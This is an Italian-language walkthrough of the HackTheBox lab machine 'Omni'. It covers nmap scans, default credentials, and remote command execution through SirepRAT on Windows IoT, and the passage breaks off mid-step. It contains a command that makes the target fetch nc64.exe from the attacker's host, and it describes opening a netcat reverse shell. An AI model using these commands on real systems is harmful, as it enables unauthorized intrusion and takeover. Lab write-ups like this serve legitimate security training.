Come al solito si comincia con una prima scansione veloce nmap:
nmap -T5 --open -sS -vvv --min-rate=1000 --max-retries=2 -p- -oA full-ports 10.10.10.204
E una mirata:
nmap -sC -sV -vvv -p135,5985,8080,29817,29819,29820 -oA full-ports 10.10.10.204
Nmap scan report for omni.htb (10.10.10.204)
Host is up, received echo-reply ttl 127 (0.046s latency).
Scanned at 2020-08-25 03:16:43 EDT for 73s
PORT STATE SERVICE REASON VERSION
135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
5985/tcp open upnp syn-ack ttl 127 Microsoft IIS httpd
8080/tcp open upnp syn-ack ttl 127 Microsoft IIS httpd
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ Basic realm=Windows Device Portal
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Site doesn't have a title.
29817/tcp open unknown syn-ack ttl 127
29819/tcp open arcserve syn-ack ttl 127 ARCserve Discovery
29820/tcp open unknown syn-ack ttl 127
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port29820-TCP:V=7.80%I=7%D=8/25%Time=5F44BAE1%P=x86_64-pc-linux-gnu%r(N
SF:ULL,10,"\*LY\xa5\xfb`\x04G\xa9m\x1c\xc9}\xc8O\x12")%r(GenericLines,10,"
SF:\*LY\xa5\xfb`\x04G\xa9m\x1c\xc9}\xc8O\x12")%r(Help,10,"\*LY\xa5\xfb`\x0
SF:4G\xa9m\x1c\xc9}\xc8O\x12")%r(JavaRMI,10,"\*LY\xa5\xfb`\x04G\xa9m\x1c\x
SF:c9}\xc8O\x12");
Service Info: Host: PING; OS: Windows; CPE: cpe:/o:microsoft:windows
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Aug 25 03:17:56 2020 -- 1 IP address (1 host up) scanned in 74.02 seconds
L’output di nmap sulla porta 8080 mostra una basic authentication in cui troviamo un bell’hint “Windows Device Portal”.
Cercando su Google “Windows Device Portal” si riesce a scoprire che la box non è altro che un dispositivo IoT. Continuando a cercare si trovano anche delle credenziali di default per accedere al device portal, ma non funzionano:
administrator:P@ssw0rd
Continuo la ricerca e googlando “windows not exploit” e mi imbatto in SirepRAT https://github.com/SafeBreach-Labs/SirepRAT, un tool che sfrutta il servizio Sirep Test Service incluso in Windows IoT. Il ricercatore ha riversato il protocollo Sirep/WPCon/TShell e ha scoperto che espone un’interfaccia per lanciare comandi remoti sul dispositivo. Nel repository si trova un paper molto interessante per ulteriori dettagli.
A questo punto con l’ausilio di SirepRAT ottengo RCE, tento l’upload di netcat per avere una shell un po’ più comoda utilizzando la funzionalità prevista da SirepRAT ma non riesco poi a lanciare netcat sul device. Sono arrivato alla conclusione che si possano caricare solo file di testo, i binari vengono corrotti.
Ho aggirato il limite così:
python SirepRAT.py omni.htb LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\cmd.exe" --args " /c powershell Invoke-WebRequest -Uri http://10.10.14.xxx:8080/nc64.exe -OutFile C:\\\Windows\\\System32\\\nc64.exe" --v
All’interno della cartella C:\data\users\app si trova il file user.txt che contiene un oggetto di poweshell contenente delle credenziali. Si usa per autenticarsi nelle sessioni di powershell e questa volta, è stato esportato come xml nel file user.txt
Per utilizzare gli oggetti powershell esportati sotto forma di file xml di usa il comando:
Import-CliXml -Path C:\data\users\app\user.txt
Ma non funziona perché la sessione di powershell corrente non appartiene all’utente che ha creato la password cifrata all’interno del file.
Conitnuo ad enumerare i files, una ricerca estenuante, devo diventare l’utente app, per forza.
Dopo una lunga ricerca mi imbatto nel file r.bat che contiene le credenziali di app e di amministratore!
A questo punto accedo alla porta 8080 come utente app e mi ritrovo sulla dashboard web del dispositivo IoT.
Vi consiglio di accedere direttamente come administrator almeno lo fate una volta sola ahah!
Poi basta visitare Run command e lanciare netcat per prendere la reverse shell come app o come administrator.
Con la nuova shell si può utilizzare il comando Import-CliXml: